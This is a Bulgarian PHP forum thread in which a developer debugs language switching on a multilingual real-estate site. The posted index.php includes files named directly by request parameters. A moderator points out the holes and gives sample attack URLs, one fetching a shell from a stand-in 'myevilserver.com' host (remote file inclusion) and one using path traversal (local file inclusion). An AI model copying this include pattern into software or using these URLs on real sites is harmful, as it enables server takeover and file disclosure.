Автор Тема: Проблем със сесиите в многоезиков сайт  (Прочетена 1093 пъти)

a_panov

  • Напреднали
  • *****
  • Публикации: 62
    • Профил
пиша сайт по подобие на тюториала който е даден тука:
http://web-tourist.net/login/login/view.php?st=1563
и имам някаква грешка!!!

Като стартирам за първи път сайта и си е наред!!!

Където и да ходя по-сайта си работи и всичко си е на 6+
НО!!! Но като цъкна на знаменцата и се омазва echo и print на инклудваните файлове:

И пак има някаква магия защото тоя заглавния банер се показва във всички случаи. А като него има инклудвани още картинки.

index.php
Примерен код
<?php
session_start();
?>

<?php
//include ($_SERVER['DOCUMENT_ROOT']."/evitatrade/include/db_connection.php");
//include ($_SERVER['DOCUMENT_ROOT']."/evitatrade/include/functions.php");
if ($_REQUEST[chlang])
{
   if (file_exists($_SERVER['DOCUMENT_ROOT']."/evitatrade/2/include/".$_REQUEST[chlang].'.php'))
   {
      session_register("chlang");
      $_SESSION['chlang']=$_REQUEST['chlang'];
   }
}
/*
if (!$_SESSION['chlang']) {
include ($_SERVER['DOCUMENT_ROOT']."/evitatrade/1/include/bg.php"); // Това е езика по подразбиране
} else {
include ($_SERVER['DOCUMENT_ROOT']."/evitatrade/1/include/".$_SESSION[chlang].'.php'); //echo $_SESSION[chlang];
}
*/
if (!$_SESSION['chlang'])
{
   if (substr($_SERVER["HTTP_ACCEPT_LANGUAGE"],0,2) == "ru")
   {
      include ($_SERVER['DOCUMENT_ROOT']."/evitatrade/2/include/ru.php");// Това е езика по подразбиране   
   }
   else
   {
      if (substr($_SERVER["HTTP_ACCEPT_LANGUAGE"],0,2) == "bg")
      {
         include ($_SERVER['DOCUMENT_ROOT']."/evitatrade/2/include/bg.php");// Това е езика по подразбиране   
      }
      else
      {
         include ($_SERVER['DOCUMENT_ROOT']."/evitatrade/2/include/en.php");// Това е езика по подразбиране   
      }
   }
   //include ($_SERVER['DOCUMENT_ROOT']."/evitatrade/1/include/bg.php"); // Това е езика по подразбиране   
}
else
{
   if ((stristr($_SESSION[chlang], 'http:') === FALSE) and (stristr($_SESSION[chlang], 'https:') === FALSE) and (stristr($_SESSION[chlang], 'ftp:') === FALSE))
   {
      include ($_SERVER['DOCUMENT_ROOT']."/evitatrade/1/include/".$_SESSION[chlang].'.php'); //echo $_SESSION[chlang];
   }
   else
   {
      include ($_SERVER['DOCUMENT_ROOT']."/evitatrade/1/include/bg.php");   }
   }

if (!$_REQUEST[p])
{
   // Ако е отворен просто Index.php отваря главната страница: main.php
   include ('main.php');
}
else
{
   if (file_exists($_REQUEST[p].'.php'))
   {
      // Ако файла съществува го отваря
      include ($_REQUEST[p].'.php');
   }
   else
   {
      // Ако файла не съществува отваряме извежда съобщение за грешка и отваря main.php
      print "<center><small><font color=red>".$lang[page_not_exist]."</font></small></center>";
      include ('main.php');
   }
}
?>


main.php - това е единия файл със съдържание
Примерен код
<?php
if ($_SESSION['chlang'] == "ru")
   {
      $title = "Главная";// Това е езика по подразбиране   
   }
   else
   {
      if ($_SESSION['chlang'] == "bg")
      {
         $title = "Главна";// Това е езика по подразбиране   
      }
      else
      {
         $title = "Home";// Това е езика по подразбиране   
      }
   }


   $css = "include/evitatrade.css";
   include ('head.php');
   include ('menu.php');
?>
<!--<div id="main">-->
<h2>main</h2>
Евита Трейд ЕООД - Фирма за недвижими имоти - компания за недвижими имоти, която е специализирана в комплексно обслужване на своите клиенти при покупко-продажбите и наемането на недвижими имоти. Занимаваме се и с финансова оценка на инвестициите в недвижими имоти, подпомагайки инвестиционните фондове с които работим в техните решения. Evita Trade Ltd. - rural property consultants, specialise in traditional estates, farms, sporting rights and country houses. Based in Sofia, Bulgaria, we have a particular ability in putting a deal together and making it stick. Банско, Боровец, Пампорово, Златни Пясъци, Свети Влас, Слънчев Бряг, Варна, Бургас, София, Долна Баня, България, Имоти, имоти, недвижими имоти, имот, апартамент, апартаменти, обяви, продажба софийски имоти, каща, парцел, земя, сграда, кооперация, недвижими имоти, ЕООД, жилищна сграда, гараж, гаражи, магазин, магазини, мезонет, офис, склад, 1-стайни, 1-стаен, едностайни, едностаен, апартамент, жилища, жилище, апартаментът, дом, дома, апартамента, апартаменти, апартаментите, промишлено помещение, помещение, земеделски имот, фабрика, хотел, гараж, заведение, вила, почивна станция, санаториум, атилие, таван, многостаен, четиристаен, тристаен, двустаен, едностаен, гарсониера, боксониера, стая, резиденция, административна сграда, офис сграда, търговски обект, завод, бензиностанция, предприятие, производствено помещение, паркинг, нива, ниви, ливада, ливади, градина, градини, лозе, лозя, гора, гори, язовир, река, бряг, строителство, Обзавеждане, Интериор, Етапи от строителството, етапи от строителството, етапи, Етапи, продавано, продаваната, продаваното, продаваните, продавани, продаван, продавалите, продавания, продавана, продаваният, продаващото, продаващо, продаващи, продавайки, продаващите, продаващия, продаващ, продаващият, продаващата, продаваща, продавали, продавах, продават, продавахме, продаваха, продавахте, продаваш, продавам, продава, продавате, продаваме, продавала, продавалият, продавалата, продавалото, продавало, продавай, продаваше, продавайте, продавалия, продавал, продава, строителна, фирма, строителна фирма, евитатрейд, евита трейд, еоод, инвестиция, инвестиции, инвестиционен фонд, наем, недвижимость, строительство, торговля, квартира, жилье, апартаменты, элита, элитные, евроремонт, европейский уровень, капиталовложения, инвестиции, бизнес, за рубежом, за границей, болгария, море, туризм, застройщик, акции, рассрочки, кредиты, меблирование, Apartment, Bar, Cave house, Chalet, Commercial Property, Cortijo, Duplex, Farmhouse, Finca,

<?php
print $lang[hello];
print " <a href=index.php?p=new_page>$lang[page2] >></a>";
?>
<!--</div>-->
<?php
   include ('tail.php');
?>


new_page.php - това е другия файл със съдържание
Примерен код
<?php
if ($_SESSION['chlang'] == "ru")
   {
      $title = "Тестовя 1";// Това е езика по подразбиране   
   }
   else
   {
      if ($_SESSION['chlang'] == "bg")
      {
         $title = "Тестова 1";// Това е езика по подразбиране   
      }
      else
      {
         $title = "Test page 1";// Това е езика по подразбиране   
      }
   }

   $css = "include/evitatrade.css";
   require ('head.php');
   require ('menu.php');
?>
<!--<div id="main">-->
<h2>2 страница</h2>
Евита Трейд ЕООД - Фирма за недвижими имоти - компания за недвижими имоти, която е специализирана в комплексно обслужване на своите клиенти при покупко-продажбите и наемането на недвижими имоти. Занимаваме се и с финансова оценка на инвестициите в недвижими имоти, подпомагайки инвестиционните фондове с които работим в техните решения. Evita Trade Ltd. - rural property consultants, specialise in traditional estates, farms, sporting rights and country houses. Based in Sofia, Bulgaria, we have a particular ability in putting a deal together and making it stick. Банско, Боровец, Пампорово, Златни Пясъци, Свети Влас, Слънчев Бряг, Варна, Бургас, София, Долна Баня, България, Имоти, имоти, недвижими имоти, имот, апартамент, апартаменти, обяви, продажба софийски имоти, каща, парцел, земя, сграда, кооперация, недвижими имоти, ЕООД, жилищна сграда, гараж, гаражи, магазин, магазини, мезонет, офис, склад, 1-стайни, 1-стаен, едностайни, едностаен, апартамент, жилища, жилище, апартаментът, дом, дома, апартамента, апартаменти, апартаментите, промишлено помещение, помещение, земеделски имот, фабрика, хотел, гараж, заведение, вила, почивна станция, санаториум, атилие, таван, многостаен, четиристаен, тристаен, двустаен, едностаен, гарсониера, боксониера, стая, резиденция, административна сграда, офис сграда, търговски обект, завод, бензиностанция, предприятие, производствено помещение, паркинг, нива, ниви, ливада, ливади, градина, градини, лозе, лозя, гора, гори, язовир, река, бряг, строителство, Обзавеждане, Интериор, Етапи от строителството, етапи от строителството, етапи, Етапи, продавано, продаваната, продаваното, продаваните, продавани, продаван, продавалите, продавания, продавана, продаваният, продаващото, продаващо, продаващи, продавайки, продаващите, продаващия, продаващ, продаващият, продаващата, продаваща, продавали, продавах, продават, продавахме, продаваха, продавахте, продаваш, продавам, продава, продавате, продаваме, продавала, продавалият, продавалата, продавалото, продавало, продавай, продаваше, продавайте, продавалия, продавал, продава, строителна, фирма, строителна фирма, евитатрейд, евита трейд, еоод, инвестиция, инвестиции, инвестиционен фонд, наем, недвижимость, строительство, торговля, квартира, жилье, апартаменты, элита, элитные, евроремонт, европейский уровень, капиталовложения, инвестиции, бизнес, за рубежом, за границей, болгария, море, туризм, застройщик, акции, рассрочки, кредиты, меблирование, Apartment, Bar, Cave house, Chalet, Commercial Property, Cortijo, Duplex, Farmhouse, Finca,

<?php
   print $lang[hello]." <a href=index.php><< ".$lang[page1]."</a>";
?>
<!--</div>-->
<?php
   include ('tail.php');
?>


Това е интерфейса в 3 файла head.php
Примерен код
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<html>
<head>
   <title><?php echo $title; ?></title>
   <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<link rel="shortcut icon" href="http://www.evitatrade.com/evitatrade/1/include/favicon.ico">
   <link rel="stylesheet" type="text/css" href="<?php echo $css; ?>" >
</head>
<body>
<table border="0" cellpadding="0" cellspacing="0" width="730"><!--   --><!-- Рамката на сайта  -->
   <tbody>
    <tr>
      <td width="730">
      
      
      
          <table bgcolor="#071c59" border="0" cellpadding="0" cellspacing="0" width="100%">
              <tbody>
              <tr>
                  <td height="18" width="100%">
                  <!-- Това е синьото поле над снимката и Company Logo в хедара-->
                     <p align="center"><img src="" height="5" width="1" alt=""></p>
                  </td>
              </tr>
              </tbody>
          </table>

         <table bgcolor="#071c59" border="0" cellpadding="0" cellspacing="0" width="100%"><!-- Това е хедъра с логото и картинката  -->
            <tbody>
            <tr>
               <td align="center" nowrap="nowrap" valign="middle" width="35%">
                  <p align="center"><font color="#ffffff" face="Arial Black" size="3"><?php echo $lang[header_text]; ?></font></p>
               </td>
               <td align="right" nowrap="nowrap" valign="bottom" width="25%">
                  <a href="http://www.evitatrade.com/"><img src="<?php echo $lang[header_picture]; ?>" align="right" border="0" height="60" width="468" alt="<?php print $lang[header_picture_alt]; ?>"></a>
               </td>
            </tr>
            </tbody>
         </table>

          <table bgcolor="#071c59" border="0" cellpadding="0" cellspacing="0" width="100%"><!-- Това е рекламния линк под картинката в хедъра с логото и картинката  -->
            <tbody>
            <tr>
               <td width="44%">&nbsp;</td>
               <td width="56%">
               <p align="center"><font color="#ffffff" face="Verdana" size="1"><b>Visit our Sponsors</b></font></p>
               </td>
            </tr>
            </tbody>
         </table>
         
         
         
      </td>
    </tr>


menu.php
Примерен код
   <tr>
      <td width="730"><!-- ТУКА ПОЧВА МЕнюто и съдържанието в една голяма клекта  -->
      
      
      
      <table border="0" cellpadding="0" cellspacing="0" width="100%"><!-- Таблица с 3 клетки, меню, кривки-завойчена и съдържание  -->
         <tbody>
         <tr>
            <td align="left" bgcolor="#071c59" height="39" valign="top" width="144">
               
                  <table border="0" cellpadding="0" cellspacing="2" width="144"><!-- Меню  -->
                     <tbody>
                     <tr>
                            <td colspan="2"><img src="<?php print $lang[menu_pic_buyers]; ?>" border="0" height="20" width="119" alt=""><br></td>
                     </tr>      
                     <tr>
                        <td align="right" width="7"><div class="bull">&nbsp;&bull;</div></td>
                        <td align="left" width="123">&nbsp; <a class="menu" href="http://www.onlinerealtysales.com/"><?php print $lang[menu_newest]; ?></a></td>
                     </tr>
                     <tr>
                        <td align="right" width="7"><div class="bull">&nbsp;&bull;</div></td>
                        <td align="left" width="123">&nbsp; <a class="menu" href="http://www.onlinerealtysales.com/"><?php print $lang[menu_residential]; ?></a></td>
                     </tr>
                     <tr>
                        <td align="right" width="7"><div class="bull">&nbsp;&bull;</div></td>
                        <td align="left" width="123">&nbsp; <a class="menu" href="http://www.onlinerealtysales.com/"><?php print $lang[menu_houses]; ?></a></td>
                     </tr>
                     <tr>
                        <td align="right" width="7"><div class="bull">&nbsp;&bull;</div></td>
                        <td align="left" width="123">&nbsp; <a class="menu" href="http://www.onlinerealtysales.com/"><?php print $lang[menu_bussiness]; ?></a></td>
                     </tr>
                     <tr>
                        <td align="right" width="7"><div class="bull">&nbsp;&bull;</div></td>
                        <td align="left" width="123">&nbsp; <a class="menu" href="http://www.onlinerealtysales.com/"><?php print $lang[menu_land]; ?></a></td>
                     </tr>
                     <tr>
                        <td align="right" width="7"><div class="bull">&nbsp;&bull;</div></td>
                        <td align="left" width="123">&nbsp; <a class="menu" href="http://www.onlinerealtysales.com/"><?php print $lang[menu_search]; ?></a></td>
                     </tr>
                     <tr>
                        <td colspan="2"><br><img src="<?php print $lang[menu_pic_sellers]; ?>" border="0" height="20" width="119" alt=""><br></td>
                     </tr>   
                     <tr>
                        <td align="right" width="7"><div class="bull">&nbsp;&bull;</div></td>
                        <td align="left" width="121">&nbsp; <a class="menu" href="http://www.onlinerealtysales.com/"><?php print $lang[menu_new_ad]; ?></a></td>
                     </tr>
                     <tr>
                        <td align="right" width="7"><div class="bull">&nbsp;&bull;</div></td>
                        <td align="left" width="121">&nbsp; <a class="menu" href="http://www.onlinerealtysales.com/"><?php print $lang[menu_redaktirai]; ?></a></td>
                     </tr>
                     <tr>
                        <td align="right" width="7"><div class="bull">&nbsp;&bull;</div></td>
                        <td align="left" width="121">&nbsp; <a class="menu" href="http://www.onlinerealtysales.com/"><?php print $lang[menu_saveti]; ?></a></td>
                     </tr>
                     <tr>
                        <td colspan="2"><br><img src="<?php print $lang[menu_pic_ordinary]; ?>" border="0" height="20" width="119" alt=""><br></td>
                     </tr>
                     <tr>
                        <td align="right" width="7"><div class="bull">&nbsp;&bull;</div></td>
                        <td align="left" width="121">&nbsp; <a class="menu" href="http://www.onlinerealtysales.com/"><?php print $lang[menu_about_us]; ?></a></td>
                     </tr>
                     <tr>
                        <td align="right" width="7"><div class="bull">&nbsp;&bull;</div></td>
                        <td align="left" width="121">&nbsp; <a class="menu" href="http://www.onlinerealtysales.com/"><?php print $lang[menu_services]; ?></a></td>
                     </tr>
                     <tr>
                        <td align="right" width="7"><div class="bull">&nbsp;&bull;</div></td>
                        <td align="left" width="121">&nbsp; <a class="menu" href="http://www.onlinerealtysales.com/"><?php print $lang[menu_projects]; ?></a></td>
                     </tr>
                     <tr>
                        <td align="right" width="7"><div class="bull">&nbsp;&bull;</div></td>
                        <td align="left" width="121">&nbsp; <a class="menu" href="http://www.onlinerealtysales.com/"><?php print $lang[menu_links]; ?></a></td>
                     </tr>
-                     <tr>
                        <td align="right" width="7"><div class="bull">&nbsp;&bull;</div></td>
                        <td align="left" width="121">&nbsp; <a class="menu" href="http://www.onlinerealtysales.com/"><?php print $lang[menu_contact_us]; ?></a></td>
                     </tr>
                     </tbody>
                  </table>

<p align="center">

   <a href="index.php?p=<?php print $_REQUEST[p];?>&chlang=bg"><img src="include/images/bg.gif" border="0" alt="Български" /></a>&nbsp;
   <a href="index.php?p=<?php print $_REQUEST[p];?>&chlang=ru"><img src="include/images/ru.gif" border="0" alt="Русский" /></a>&nbsp;
   <a href="index.php?p=<?php print $_REQUEST[p];?>&chlang=en"><img src="include/images/en.gif" border="0" alt="English" /></a><br>

<a href="http://validator.w3.org/check?uri=referer"><img border="0" src="http://www.w3.org/Icons/valid-html40" alt="Valid HTML 4.0 Transitional" height="31" width="88"></a><br>
<a href="http://jigsaw.w3.org/css-validator/validator?uri=http://www.evitatrade.com/evitatrade/a.css"><img border="0" src="http://pascal.priv.at/1/vcss.png" alt="Valid CSS!" title="This WEB site is with validate CSS code!"></a>
</p>

               </td><!-- Тука свършва менюто  -->
               <td align="left" height="245" valign="top" width="35"><img src="include/images/topangle.gif" height="34" width="30" alt=""></td><!-- Горен ляв завой  -->
               <td align="left" height="245" valign="top" width="628"><!-- Съдържание начало  -->
               
                  <div align="left">


tail.php
Примерен код
</div>
                  
               </td><!-- Съдържание край  -->
            </tr>
            <tr><!-- Реда за кривката  -->
               <td align="left" bgcolor="#071c59" width="455">&nbsp;</td>
               <td align="left" height="1" valign="bottom" width="35"><img src="include/images/bottomangle.gif" height="34" width="30" alt=""></td>
               <td height="1" nowrap="nowrap" width="628"></td>
            </tr>
            </tbody>
         </table>
         
      </td>
   </tr><!-- ТУКА свършва МЕнюто и съдържанието в една голяма клекта  -->
   <tr>
      <td width="730">
     
          <table bgcolor="#26353f" border="0" cellpadding="0" cellspacing="0" width="100%">
            <tbody>
               <tr>
                     <td align="center" bgcolor="#071c59" valign="middle" width="100%">
                  <a href="main.php" class="footer"><?php print $lang[footer_home]; ?></a>
                     <span class="footer"> | </span>
                     <a href="privacy/index.php" class="footer"><?php print $lang[footer_privacy]; ?></a>
                     <span class="footer"> | </span>
                     <a href="terms/index.php" class="footer"><?php print $lang[footer_terms]; ?></a>
                  <span class="footer"> | </span>
                  <a href="contact_us/index.php" class="footer"><?php print $lang[menu_contact_us]; ?></a>
                  <br>
                  <span class="footer"><?php print $lang[footer_rights]; ?> &reg; </span><a href="http://www.evitatrade.com/" class="footer"><?php print $lang[header_text]; ?></a><span class="footer"> | </span> <!--<a href="#" class="footer">info@evitatrade.com</a>--><script  class="footer" type="text/javascript" SRC="http://www.evitatrade.com/evitatrade/1/include/posta.js"></script>
                  <br>
                     </td>
               </tr>
            </tbody>
         </table>
      
      </td>
    </tr>
   </tbody>
</table>

</body>
</html>


Ленгуич файловете са bg.php, ru.php и en.php. Тука поствам bg.php:
Примерен код
<?php
$lang['header_text']="Евита Трейд ООД";

$lang[header_picture]="include/images/head-bg.jpg";
$lang[header_picture_alt]="Евита Трейд ООД - Вашия Агент за недвижими имоти в България";

$lang[menu_pic_buyers]="include/images/homebuyers.jpg";
$lang[menu_newest]="Най-нови";
$lang[menu_residential]="Жилищни";
$lang[menu_houses]="Селски къщи";
$lang[menu_bussiness]="Бизнес имоти";
$lang[menu_land]="Земя";
$lang[menu_search]="Търсене";

$lang[menu_pic_sellers]="include/images/homebuyers.jpg";
$lang[menu_new_ad]="Пусни обява";
$lang[menu_redaktirai]="Редактирай";
$lang[menu_saveti]="Съвети";

$lang[menu_pic_ordinary]="include/images/realtors.jpg";
$lang[menu_about_us]="За нас";
$lang[menu_services]="Услуги";
$lang[menu_projects]="Проекти";
$lang[menu_links]="Връзки";
$lang[menu_contact_us]="За контакти";

$lang[footer_home]="Главна";
$lang[footer_privacy]="Privacy Policy";
$lang[footer_terms]="Terms of Use";
// $lang[footer_contact_us]=""; това е равно на menu_contact_us
$lang[footer_rights]="All Rights Reserved";
//$lang[footer_evita_trade]=""; това е равно на header_text

$lang['hello']="Здравей!";
$lang[page1]="Първа страница";
$lang[page2]="Втора страница";
$lang[page_not_exist]="Страницата която се опитвате да отворите не съществува!";
?>




Къде греша че като цъкна на знаменцата се омазват инклудванията на менюто, иначе като цъкам на знамената съдържанието и title са си в ред.
Активен

a_panov

  • Напреднали
  • *****
  • Публикации: 62
    • Профил
Проблем със сесиите в многоезиков сайт
« Отговор #1 -: Nov 04, 2007, 23:22 »
Тъп на галош, умен кат шаран, рошав на сено...
if (!$_SESSION['chlang'])
{
if (substr($_SERVER["HTTP_ACCEPT_LANGUAGE"],0,2) == "ru")
{
include ($_SERVER['DOCUMENT_ROOT']."/evitatrade/2/include/ru.php");// Това е езика по подразбиране
}
else
{
if (substr($_SERVER["HTTP_ACCEPT_LANGUAGE"],0,2) == "bg")
{
include ($_SERVER['DOCUMENT_ROOT']."/evitatrade/2/include/bg.php");// Това е езика по подразбиране
}
else
{
include ($_SERVER['DOCUMENT_ROOT']."/evitatrade/2/include/en.php");// Това е езика по подразбиране
}
}

}
else
{
if ((stristr($_SESSION[chlang], 'http:''<img'> === FALSE) and (stristr($_SESSION[chlang], 'https:''<img'> === FALSE) and (stristr($_SESSION[chlang], 'ftp:''<img'> === FALSE))
{
include ($_SERVER['DOCUMENT_ROOT']."/evitatrade/1/include/".$_SESSION[chlang].'.php''<img'>; //echo $_SESSION[chlang];
}
else
{
include ($_SERVER['DOCUMENT_ROOT']."/evitatrade/1/include/bg.php"); }
}

Просто съм работил с дир 1 вместо с файловете от дир 2.
Активен

VladSun

  • Moderator
  • Напреднали
  • *****
  • Публикации: 2166
    • Профил
Проблем със сесиите в многоезиков сайт
« Отговор #2 -: Nov 05, 2007, 01:50 »
Примерен код
if (file_exists($_REQUEST[p].'.php'))
{
// Ако файла съществува го отваря
include ($_REQUEST[p].'.php');
}


Примерен код
if (file_exists($_SERVER['DOCUMENT_ROOT']."/evitatrade/2/include/".$_REQUEST[chlang].'.php'))
{
    session_register("chlang");
    $_SESSION['chlang']=$_REQUEST['chlang'];
}
if (!$_SESSION['chlang'])
{
    include ($_SERVER['DOCUMENT_ROOT']."/evitatrade/1/include/bg.php"); // Това е езика по подразбиране
}
else
{
    include ($_SERVER['DOCUMENT_ROOT']."/evitatrade/1/include/".$_SESSION[chlang].'.php');
}

...
Кодът не ми харесва - прекалено много проблеми със сигурността има ..

 - за първия код - пускам ти index.php?p=http://myevilserver.com/shell (RFI)

 - за първия и втория - мога да include-на всеки един твой php файл, чрез задаване на index.php?chlang=../../secret.php (LFI)

ПП: И не разчитай на настройките на PHP-то за сигруност '<img'>



Активен

KISS Principle ( Keep-It-Short-and-Simple )
http://openfmi.net/projects/flattc/
Има 10 вида хора на този свят - разбиращи двоичния код и тези, които не го разбират :P